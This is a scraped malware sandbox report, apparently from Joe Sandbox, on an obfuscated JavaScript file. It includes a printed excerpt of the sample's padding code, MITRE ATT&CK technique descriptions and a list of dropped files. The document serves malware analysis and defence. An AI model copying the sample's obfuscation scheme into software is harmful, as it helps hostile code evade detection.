1203	xyemuyct = "q";
1204	xyemuyct = "S";
1205	xyemuyct = "w";
1206	xyemuyct = "P";
1207	xyemuyct = "I";
1208	xyemuyct = "r";
1209	xyemuyct = "I";
1210	xyemuyct = "o";
1211	xyemuyct = "C";
1212	xyemuyct = "Q";
1213	zlifhcf = "W";
1214	zlifhcf = "r";
1215	zlifhcf = "H";
1216	zlifhcf = "v";
1217	zlifhcf = "N";
1218	zlifhcf = "r";
1219	zlifhcf = "D";
1220	zlifhcf = "f";
1221	zlifhcf = "5";
1222	qgnmqsm = "E";
1223	qgnmqsm = "S";
1224	qgnmqsm = "D";
1225	qgnmqsm = "n";
1226	zmvis = "a";
1227	zmvis = "G";
1228	zmvis = "n";
1229	zmvis = "x";
1230	zmvis = "m";
1231	zmvis = "A";
1232	zmvis = "m";
1233	zmvis = "A";
1234	zmvis = "t";
1235	zmvis = "c";
1236	zmvis = "W";
1237	zmvis = "k";
1238	zmvis = "h";
1239	zmvis = "a";
1240	zmvis = "T";
1241	zmvis = "w";
1242	zmvis = "U";
1243	zmvis = "f";
1244	zmvis = "S";
1245	zmvis = "i";
1246	zmvis = "X";
1247	zmvis = "r";
1248	zmvis = "l";
1249	zmvis = "n";
1250	zmvis = "t";
1251	zmvis = "s";
1252	zmvis = "c";
1253	zmvis = "x";
1254	zmvis = "c";
1255	zmvis = "X";
1256	zmvis = "T";
1257	zmvis = "r";
1258	zmvis = "r";
1259	zmvis = ".";
1260	rczvocpt = "o";
1261	rczvocpt = "f";
1262	rczvocpt = "l";
1263	rczvocpt = "y";
1264	rczvocpt = "V";
1265	rczvocpt = "o";
1266	rczvocpt = "z";
1267	rczvocpt = "T";
1268	rczvocpt = "L";
1269	rczvocpt = "t";
1270	rczvocpt = "J";
1271	rczvocpt = "v";
1272	rczvocpt = "Y";
1273	rczvocpt = "f";
1274	rczvocpt = "b";
1275	rczvocpt = "l";
1276	rczvocpt = "o";
1277	rczvocpt = "p";
1278	rczvocpt = "H";
1279	rczvocpt = "R";
1280	rczvocpt = "t";
1281	rczvocpt = "Y";
1282	rczvocpt = "I";
1283	rczvocpt = "M";
1284	rczvocpt = "D";
1285	rczvocpt = "U";
1286	hnqderp = "r";
1287	hnqderp = "m";
1288	hnqderp = "D";
1289	hnqderp = "H";
1290	hnqderp = "z";
1291	hnqderp = "N";
1292	hnqderp = "b";
1293	hnqderp = "o";
1294	hnqderp = "o";
1295	hnqderp = "n";
1296	hnqderp = "H";
1297	hnqderp = "b";
1298	hnqderp = "K";
1299	hnqderp = "T";
1300	hnqderp = "L";
1301	hnqderp = "A";
1302	hnqderp = "d";
1303	hnqderp = "R";
1304	hnqderp = "q";
1305	hnqderp = "I";
1306	hnqderp = "z";
1307	hnqderp = "W";
1308	hnqderp = " ";
1309	bsgxprh = "h";
1310	bsgxprh = "Y";
1311	bsgxprh = "f";
1312	bsgxprh = "W";
1313	bsgxprh = "z";
1314	bsgxprh = "U";
1315	bsgxprh = "t";
1316	bsgxprh = "r";
1317	bsgxprh = "N";
1318	bsgxprh = "R";
1319	bsgxprh = "X";
1320	bsgxprh = "B";
1321	bsgxprh = "u";
1322	bsgxprh = "Q";
1323	bsgxprh = "T";
1324	bsgxprh = "f";
1325	bsgxprh = "U";
1326	bsgxprh = "w";
1327	bsgxprh = "g";
1328	bsgxprh = "S";
1329	bsgxprh = "s";
1330	bsgxprh = "h";
1331	bsgxprh = "O";
1332	mzcyovsfr = "s";
1333	mzcyovsfr = "q";
1334	mzcyovsfr = "J";
1335	mzcyovsfr = "T";
1336	mzcyovsfr = "l";
1337	mzcyovsfr = "z";
1338	mzcyovsfr = "O";
1339	mzcyovsfr = "E";
1340	mzcyovsfr = "S";
1341	mzcyovsfr = "u";
1342	mzcyovsfr = "E";
1343	mzcyovsfr = "W";
1344	mzcyovsfr = "q";
1345	mzcyovsfr = "Q";
1346	mzcyovsfr = "f";
1347	mzcyovsfr = "h";
1348	mzcyovsfr = "s";
1349	mzcyovsfr = "R";
1350	mzcyovsfr = "x";
1351	mzcyovsfr = "Y";
1352	mzcyovsfr = "P";
1353	mzcyovsfr = "T";
1354	mzcyovsfr = "M";
1355	mzcyovsfr = "C";
1356	mzcyovsfr = "d";
1357	mzcyovsfr = "c";
1358	mzcyovsfr = "\\";
1359	ncbbsv = "M";
1360	ncbbsv = "z";
1361	ncbbsv = "H";
1362	ncbbsv = "V";
1363	ncbbsv = "r";
1364	ncbbsv = "l";
1365	ncbbsv = "e";
1366	ncbbsv = "m";
1367	ncbbsv = "Z";
1368	ncbbsv = "K";
1369	ncbbsv = "B";
1370	ncbbsv = "F";
1371	ncbbsv = "b";
1372	ncbbsv = "N";
1373	ncbbsv = "t";
1374	ncbbsv = "x";
1375	ncbbsv = "m";
1376	ncbbsv = "i";
1377	ncbbsv = "j";
1378	ncbbsv = "E";
1379	ncbbsv = "R";
1380	ncbbsv = "b";
1381	ncbbsv = "J";
1382	ncbbsv = "S";
1383	ncbbsv = "v";
1384	ncbbsv = "m";
1385	ncbbsv = "B";
1386	ncbbsv = "g";
1387	ncbbsv = "S";
1388	ncbbsv = "l";
1389	ncbbsv = "y";
1390	ncbbsv = "d";
1391	ncbbsv = "c";
1392	ncbbsv = "o";
1393	ncbbsv = "w";
1394	ncbbsv = "G";
1395	ncbbsv = "w";
1396	ncbbsv = "K";
1397	ncbbsv = "2";
1398	sbobto = "w";
1399	sbobto = "i";
1400	sbobto = "n";
1401	sbobto = "f";
1402	sbobto = "b";
1403	sbobto = "o";
1404	sbobto = "F";
1405	sbobto = "H";
1406	sbobto = "y";
1407	sbobto = "T";
1408	sbobto = "I";
1409	sbobto = "n";
1410	sbobto = "c";
1411	sbobto = "j";
1412	sbobto = "B";
1413	sbobto = "t";
1414	sbobto = "m";
1415	sbobto = "I";
1416	sbobto = "H";
1417	sbobto = "D";
1418	sbobto = "P";
1419	sbobto = "M";
1420	sbobto = "Y";
1421	sbobto = "S";
1422	sbobto = "E";
1423	sbobto = "d";
1424	sbobto = "X";
1425	sbobto = "t";
1426	sbobto = "J";
1427	sbobto = "u";
1428	sbobto = "y";
1429	sbobto = "C";
1430	sbobto = "e";
1431	sbobto = "D";
1432	sbobto = "F";
1433	sbobto = "e";
1434	sbobto = "T";
1435	sbobto = "E";
1436	sbobto = "z";
1437	sbobto = "f";
1438	sbobto = "P";
1439	ajwkbnl = "v";
1440	ajwkbnl = "N";
1441	ajwkbnl = "T";
1442	ajwkbnl = "Z";
1443	ajwkbnl = "o";
1444	ajwkbnl = "d";
1445	ajwkbnl = "t";
1446	ajwkbnl = "E";
1447	ajwkbnl = "v";
1448	ajwkbnl = "e";
1449	ajwkbnl = "N";
1450	ajwkbnl = "O";
1451	ajwkbnl = "c";
1452	ajwkbnl = "g";
1453	ajwkbnl = "k";
1454	ajwkbnl = "V";
1455	ajwkbnl = "u";
1456	ajwkbnl = "W";
1457	ajwkbnl = "F";
1458	ajwkbnl = "X";
1459	ajwkbnl = "M";
1460	ajwkbnl = "i";
1461	ajwkbnl = "f";
1462	ajwkbnl = "I";
1463	ajwkbnl = "G";
1464	ajwkbnl = "k";
1465	ajwkbnl = "B";
1466	ajwkbnl = "O";
1467	ajwkbnl = "s";
1468	ajwkbnl = "d";
1469	ajwkbnl = "f";
1470	ajwkbnl = "s";
1471	ajwkbnl = "A";
1472	ajwkbnl = "j";
1473	ajwkbnl = "s";
1474	ajwkbnl = "k";
1475	ajwkbnl = "V";
1476	ajwkbnl = "M";
1477	ajwkbnl = "L";
1478	zdtzxymts = "k";
1479	zdtzxymts = "X";
1480	zdtzxymts = "x";
1481	zdtzxymts = "V";
1482	zdtzxymts = "U";
1483	zdtzxymts = "S";
1484	zdtzxymts = "R";
1485	zdtzxymts = "R";
1486	zdtzxymts = "H";
1487	zdtzxymts = "i";
1488	zdtzxymts = "u";
1489	zdtzxymts = "s";
1490	zdtzxymts = "f";
1491	zdtzxymts = "H";
1492	zdtzxymts = "W";
1493	zdtzxymts = "c";
1494	zdtzxymts = "0";
1495	gnrixazs = "y";
1496	gnrixazs = "P";
1497	gnrixazs = "G";
1498	gnrixazs = "b";
1499	gnrixazs = "Y";
1500	gnrixazs = "X";
1501	gnrixazs = "k";
1502	gnrixazs = "h";
1503	gnrixazs = "b";
1504	gnrixazs = "G";
1505	gnrixazs = "r";
1506	gnrixazs = "Q";
1507	gnrixazs = "R";
1508	gnrixazs = "Z";
1509	gnrixazs = "i";
1510	gnrixazs = "d";
1511	gnrixazs = "g";
1512	gnrixazs = "d";
1513	gnrixazs = "g";
1514	gnrixazs = "w";
1515	gnrixazs = "F";
1516	gnrixazs = "i";
1517	gnrixazs = "j";
1518	gnrixazs = "j";
1519	gnrixazs = "x";
1520	gnrixazs = "w";
1521	gnrixazs = "D";
1522	gnrixazs = "j";
1523	gnrixazs = "f";
1524	gnrixazs = "Y";
1525	gnrixazs = "B";
1526	gnrixazs = "u";
1527	gnrixazs = "G";
1528	gnrixazs = "4";
1529	whdbznukc = "W";
1530	whdbznukc = "W";
1531	whdbznukc = "b";
1532	whdbznukc = "Q";
1533	whdbznukc = "n";
1534	whdbznukc = "C";
1535	whdbznukc = "K";
1536	whdbznukc = "F";
1537	whdbznukc = "e";
1538	whdbznukc = "N";
1539	whdbznukc = "e";
1540	whdbznukc = "U";
1541	whdbznukc = "1";
1542	gujsdkcfu ( );	gujsdkcfu() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1956351416528695.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF679b8f.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\aadf3833-2746-45f0-98c0-c342f8432b87.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b05d3ccc-a0e2-4a8d-b197-c0e036401e09.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
1956351416528695.js